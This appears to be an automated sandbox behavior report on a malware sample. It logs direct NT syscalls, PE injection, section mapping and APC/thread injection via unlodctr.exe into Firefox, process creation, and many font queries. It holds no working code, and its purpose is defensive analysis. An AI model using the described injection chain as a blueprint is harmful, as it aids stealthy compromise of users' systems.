Source: C:\Program Files (x86)\AXXGpedivmBaBhwRBklJNWbmzUNZwuCMAoieyGUklDlnfywYEYYnjONA\DpzZIqplfZXGlyHqisknlKbWCP.exe	NtDeviceIoControlFile: Direct from: 0x76F02AEC	Jump to behavior
Source: C:\Program Files (x86)\AXXGpedivmBaBhwRBklJNWbmzUNZwuCMAoieyGUklDlnfywYEYYnjONA\DpzZIqplfZXGlyHqisknlKbWCP.exe	NtAllocateVirtualMemory: Direct from: 0x76F02BEC	Jump to behavior
Source: C:\Program Files (x86)\AXXGpedivmBaBhwRBklJNWbmzUNZwuCMAoieyGUklDlnfywYEYYnjONA\DpzZIqplfZXGlyHqisknlKbWCP.exe	NtCreateFile: Direct from: 0x76F02FEC	Jump to behavior
Source: C:\Program Files (x86)\AXXGpedivmBaBhwRBklJNWbmzUNZwuCMAoieyGUklDlnfywYEYYnjONA\DpzZIqplfZXGlyHqisknlKbWCP.exe	NtOpenFile: Direct from: 0x76F02DCC	Jump to behavior
Source: C:\Program Files (x86)\AXXGpedivmBaBhwRBklJNWbmzUNZwuCMAoieyGUklDlnfywYEYYnjONA\DpzZIqplfZXGlyHqisknlKbWCP.exe	NtQueryInformationToken: Direct from: 0x76F02CAC	Jump to behavior
Source: C:\Program Files (x86)\AXXGpedivmBaBhwRBklJNWbmzUNZwuCMAoieyGUklDlnfywYEYYnjONA\DpzZIqplfZXGlyHqisknlKbWCP.exe	NtTerminateThread: Direct from: 0x76F02FCC	Jump to behavior
Source: C:\Program Files (x86)\AXXGpedivmBaBhwRBklJNWbmzUNZwuCMAoieyGUklDlnfywYEYYnjONA\DpzZIqplfZXGlyHqisknlKbWCP.exe	NtClose: Direct from: 0x76EF7B2E
Source: C:\Program Files (x86)\AXXGpedivmBaBhwRBklJNWbmzUNZwuCMAoieyGUklDlnfywYEYYnjONA\DpzZIqplfZXGlyHqisknlKbWCP.exe	NtOpenKeyEx: Direct from: 0x76F02B9C	Jump to behavior
Source: C:\Program Files (x86)\AXXGpedivmBaBhwRBklJNWbmzUNZwuCMAoieyGUklDlnfywYEYYnjONA\DpzZIqplfZXGlyHqisknlKbWCP.exe	NtProtectVirtualMemory: Direct from: 0x76F02F9C	Jump to behavior
Source: C:\Program Files (x86)\AXXGpedivmBaBhwRBklJNWbmzUNZwuCMAoieyGUklDlnfywYEYYnjONA\DpzZIqplfZXGlyHqisknlKbWCP.exe	NtSetInformationProcess: Direct from: 0x76F02C5C	Jump to behavior
Source: C:\Program Files (x86)\AXXGpedivmBaBhwRBklJNWbmzUNZwuCMAoieyGUklDlnfywYEYYnjONA\DpzZIqplfZXGlyHqisknlKbWCP.exe	NtNotifyChangeKey: Direct from: 0x76F03C2C	Jump to behavior
Source: C:\Program Files (x86)\AXXGpedivmBaBhwRBklJNWbmzUNZwuCMAoieyGUklDlnfywYEYYnjONA\DpzZIqplfZXGlyHqisknlKbWCP.exe	NtCreateMutant: Direct from: 0x76F035CC	Jump to behavior
Source: C:\Program Files (x86)\AXXGpedivmBaBhwRBklJNWbmzUNZwuCMAoieyGUklDlnfywYEYYnjONA\DpzZIqplfZXGlyHqisknlKbWCP.exe	NtWriteVirtualMemory: Direct from: 0x76F02E3C	Jump to behavior
Source: C:\Program Files (x86)\AXXGpedivmBaBhwRBklJNWbmzUNZwuCMAoieyGUklDlnfywYEYYnjONA\DpzZIqplfZXGlyHqisknlKbWCP.exe	NtMapViewOfSection: Direct from: 0x76F02D1C	Jump to behavior
Source: C:\Program Files (x86)\AXXGpedivmBaBhwRBklJNWbmzUNZwuCMAoieyGUklDlnfywYEYYnjONA\DpzZIqplfZXGlyHqisknlKbWCP.exe	NtResumeThread: Direct from: 0x76F036AC	Jump to behavior
Source: C:\Program Files (x86)\AXXGpedivmBaBhwRBklJNWbmzUNZwuCMAoieyGUklDlnfywYEYYnjONA\DpzZIqplfZXGlyHqisknlKbWCP.exe	NtAllocateVirtualMemory: Direct from: 0x76F02BFC	Jump to behavior
Source: C:\Program Files (x86)\AXXGpedivmBaBhwRBklJNWbmzUNZwuCMAoieyGUklDlnfywYEYYnjONA\DpzZIqplfZXGlyHqisknlKbWCP.exe	NtReadFile: Direct from: 0x76F02ADC	Jump to behavior
Source: C:\Program Files (x86)\AXXGpedivmBaBhwRBklJNWbmzUNZwuCMAoieyGUklDlnfywYEYYnjONA\DpzZIqplfZXGlyHqisknlKbWCP.exe	NtQuerySystemInformation: Direct from: 0x76F02DFC	Jump to behavior
Source: C:\Program Files (x86)\AXXGpedivmBaBhwRBklJNWbmzUNZwuCMAoieyGUklDlnfywYEYYnjONA\DpzZIqplfZXGlyHqisknlKbWCP.exe	NtDelayExecution: Direct from: 0x76F02DDC	Jump to behavior
Source: C:\Program Files (x86)\AXXGpedivmBaBhwRBklJNWbmzUNZwuCMAoieyGUklDlnfywYEYYnjONA\DpzZIqplfZXGlyHqisknlKbWCP.exe	NtQueryInformationProcess: Direct from: 0x76F02C26	Jump to behavior
Source: C:\Program Files (x86)\AXXGpedivmBaBhwRBklJNWbmzUNZwuCMAoieyGUklDlnfywYEYYnjONA\DpzZIqplfZXGlyHqisknlKbWCP.exe	NtResumeThread: Direct from: 0x76F02FBC	Jump to behavior
Source: C:\Program Files (x86)\AXXGpedivmBaBhwRBklJNWbmzUNZwuCMAoieyGUklDlnfywYEYYnjONA\DpzZIqplfZXGlyHqisknlKbWCP.exe	NtCreateUserProcess: Direct from: 0x76F0371C	Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe

Memory written: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe base: 400000 value starts with: 4D5A

Jump to behavior

Maps a DLL or memory area into another process

Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Section loaded: NULL target: C:\Program Files (x86)\AXXGpedivmBaBhwRBklJNWbmzUNZwuCMAoieyGUklDlnfywYEYYnjONA\DpzZIqplfZXGlyHqisknlKbWCP.exe protection: execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Section loaded: NULL target: C:\Windows\SysWOW64\unlodctr.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\unlodctr.exe	Section loaded: NULL target: C:\Program Files (x86)\AXXGpedivmBaBhwRBklJNWbmzUNZwuCMAoieyGUklDlnfywYEYYnjONA\DpzZIqplfZXGlyHqisknlKbWCP.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\unlodctr.exe	Section loaded: NULL target: C:\Program Files (x86)\AXXGpedivmBaBhwRBklJNWbmzUNZwuCMAoieyGUklDlnfywYEYYnjONA\DpzZIqplfZXGlyHqisknlKbWCP.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\unlodctr.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\unlodctr.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: execute and read and write	Jump to behavior

Modifies the context of a thread in another process (thread injection)

Source: C:\Windows\SysWOW64\unlodctr.exe

Thread register set: target process: 7992

Jump to behavior

Queues an APC in another process (thread injection)

Source: C:\Windows\SysWOW64\unlodctr.exe

Thread APC queued: target process: C:\Program Files (x86)\AXXGpedivmBaBhwRBklJNWbmzUNZwuCMAoieyGUklDlnfywYEYYnjONA\DpzZIqplfZXGlyHqisknlKbWCP.exe

Jump to behavior

Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Process created: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe "C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe"	Jump to behavior
Source: C:\Program Files (x86)\AXXGpedivmBaBhwRBklJNWbmzUNZwuCMAoieyGUklDlnfywYEYYnjONA\DpzZIqplfZXGlyHqisknlKbWCP.exe	Process created: C:\Windows\SysWOW64\unlodctr.exe "C:\Windows\SysWOW64\unlodctr.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\unlodctr.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: DpzZIqplfZXGlyHqisknlKbWCP.exe, 0000000A.00000000.1986087337.0000000000F60000.00000002.00000001.00040000.00000000.sdmp, DpzZIqplfZXGlyHqisknlKbWCP.exe, 0000000A.00000002.2873092371.0000000000F60000.00000002.00000001.00040000.00000000.sdmp, DpzZIqplfZXGlyHqisknlKbWCP.exe, 0000000C.00000000.2132854931.0000000001720000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: DpzZIqplfZXGlyHqisknlKbWCP.exe, 0000000A.00000000.1986087337.0000000000F60000.00000002.00000001.00040000.00000000.sdmp, DpzZIqplfZXGlyHqisknlKbWCP.exe, 0000000A.00000002.2873092371.0000000000F60000.00000002.00000001.00040000.00000000.sdmp, DpzZIqplfZXGlyHqisknlKbWCP.exe, 0000000C.00000000.2132854931.0000000001720000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: DpzZIqplfZXGlyHqisknlKbWCP.exe, 0000000A.00000000.1986087337.0000000000F60000.00000002.00000001.00040000.00000000.sdmp, DpzZIqplfZXGlyHqisknlKbWCP.exe, 0000000A.00000002.2873092371.0000000000F60000.00000002.00000001.00040000.00000000.sdmp, DpzZIqplfZXGlyHqisknlKbWCP.exe, 0000000C.00000000.2132854931.0000000001720000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock
Source: DpzZIqplfZXGlyHqisknlKbWCP.exe, 0000000A.00000000.1986087337.0000000000F60000.00000002.00000001.00040000.00000000.sdmp, DpzZIqplfZXGlyHqisknlKbWCP.exe, 0000000A.00000002.2873092371.0000000000F60000.00000002.00000001.00040000.00000000.sdmp, DpzZIqplfZXGlyHqisknlKbWCP.exe, 0000000C.00000000.2132854931.0000000001720000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: }Program Manager

Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\calibril.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\calibrib.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\calibriz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\cambriab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\cambriaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\Candara.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\Candaral.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\Candarai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\Candarali.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\Candarab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\Candaraz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\comic.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\comici.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\comicbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\comicz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\constan.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\constani.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\constanb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\constanz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\corbel.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\corbell.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\corbeli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\corbelli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\corbelb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\corbelz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\cour.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\couri.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\courbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\courbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\ebrima.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\FRADM.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\framdit.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\FRADMCN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\FRAHV.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\FRAHVIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\Gabriola.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\gadugi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\gadugib.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\georgia.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\georgiai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\georgiab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\georgiaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\impact.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\Inkfree.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\javatext.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\LeelawUI.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\LeelUIsl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\LeelaUIb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\lucon.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\l_10646.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\malgun.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\malgunsl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\malgunbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\himalaya.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\ntailu.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\ntailub.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\phagspa.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\phagspab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\taileb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\msyi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\monbaiti.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\mvboli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\mmrtext.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\mmrtextb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\Nirmala.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\NirmalaS.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\NirmalaB.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\pala.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\palai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\palab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\palabi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\segoepr.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\segoeprb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\segoesc.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\segoescb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\seguihis.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\simsun.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\simsunb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation	Jump to behavior
